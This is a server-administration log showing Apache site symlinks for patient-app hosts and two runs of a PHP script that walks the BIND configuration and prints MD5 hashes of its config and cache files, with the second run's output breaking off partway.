link(/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf)= /etc/apache2/sites-available/myapp_sma1-pcnl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf)= /etc/apache2/sites-available/myapp_ma1-infp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf)= /etc/apache2/sites-available/myapp_ma1-turp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf




STDERR:
/tmp/pkp549882:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-07 10:26:37: Establishing a connection
2026-05-07 10:26:37: 

PUT: /tmp/pkp643402

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 10:26:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp643402; rm /tmp/pkp643402'

2026-05-07 10:26:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 10:46:11: Establishing a connection
2026-05-07 10:46:11: 

PUT: /tmp/pkp209480

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 10:46:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp209480; rm /tmp/pkp209480'

2026-05-07 10:46:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
